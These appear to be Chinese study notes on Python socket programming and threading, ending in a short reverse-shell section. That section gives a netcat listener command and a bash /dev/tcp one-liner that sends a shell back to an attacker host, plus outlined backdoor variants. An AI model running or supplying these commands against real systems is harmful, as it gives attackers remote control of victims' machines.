Socket套接字
https://www.runoob.com/python3/python3-socket.html
Python 提供了两个级别访问的网络服务。:
- 低级别的网络服务支持基本的 Socket,它提供了标准的 BSD Sockets API,可以访问底层操作系统Socket接口的全部方法。
- 高级别的网络服务模块 SocketServer, 它提供了服务器中心类,可以简化网络服务器的开发。
Socket是对TCP/UDP协议的封装,使用socket自然就遵守了TCP/UDP的协议规则。
Socket工作流程
- 服务端先初始化Socket,然后与端口绑定(bind),对端口进行监听(listen),调用accept阻塞,等待客户端连接。
- 客户端初始化一个Socket,然后连接服务器(connect),如果连接成功,这时客户端与服务器端的连接就建立了。
- 客户端发送数据请求,服务器端接受请求并处理,然后把结果发送给客户端。
- 客户端接收服务端发送的结果数据,最后关闭连接,一次交互完成。
服务端关闭的话,客户端还发送请求,会导致类似死锁一样,客户端等不到服务端响应,像卡主了一样。
多线程
https://www.runoob.com/python3/python3-multithreading.html
在 Python3 中不能再使用"thread" 模块。为了兼容性,Python3 将 thread 重命名为 “_thread”。
反弹shell
- 调用nc后门
攻击机:nc -lvvp 5000
#监听5000端口
客户机:bash -i >& /dev/tcp/ip/prod 0>&1
#连接攻击机 - 调用系统tcp形式后门
- 使用socket绑定/bin/bash
- 直接socket+popen管道